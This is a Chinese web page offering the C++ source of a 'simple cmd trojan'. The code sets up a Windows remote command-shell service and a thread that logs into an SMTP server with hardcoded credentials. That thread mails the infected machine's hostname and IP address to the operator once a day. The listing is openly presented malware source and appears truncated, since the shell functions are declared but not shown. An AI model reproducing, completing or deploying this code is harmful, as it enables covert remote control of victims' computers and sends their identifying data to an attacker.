一个 简单的cmd 木马(源代码) | 您所在的位置:网站首页 › 如何用cmd编写程序 › 一个 简单的cmd 木马(源代码) |
// woodtc.cpp : Defines the entry point for the console application.// #include "stdafx.h"#include "WoodSMTP.h" #define BUFFER_SIZE 1024 typedef struct{ HANDLE hPipe;SOCKET sClient;}SESSIONDATA,*PSESSIONDATA; typedef struct PROCESSDATA{ HANDLE hProcess;DWORD dwProcessId;struct PROCESSDATA *next;}PROCESSDATA,*PPROCESSDATA; HANDLE hMutex;PPROCESSDATA lpProcessDataHead;PPROCESSDATA lpProcessDataEnd; DWORD CmdService();DWORD WINAPI CmdShell(LPVOID);DWORD WINAPI ReadShell(LPVOID);DWORD WINAPI WriteShell(LPVOID); DWORD WINAPI SendMessage(LPVOID); int main(int argc,char *argv[]){ WSADATA wsa;WSAStartup(MAKEWORD(2,2),&wsa); HANDLE hThread=CreateThread(NULL,0,SendMessage,NULL,0,NULL);if(hThread==NULL){ }CmdService();return 0;} DWORD WINAPI SendMessage(LPVOID){ CWoodSMTP mail;while(true){ if(mail.ConnectHost("smtp.126.com","forwoodts","forwoodts10030")){ char inf[500]="MYINF@"; char name[255];PHOSTENT hostinfo;if(gethostname(name,sizeof(name))==0){ strcat(inf,"MYNAME@");strcat(inf,name); if((hostinfo = gethostbyname(name)) != NULL){ char *ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);strcat(inf,"MYIP@");strcat(inf,ip);}} if(mail.SendTXT("[email protected]","[email protected]",inf)){ OutputDebugString("mail send....\n");}} Sleep(1000*60*60*24);continue;}return 0;} |
CopyRight 2018-2019 实验室设备网 版权所有 |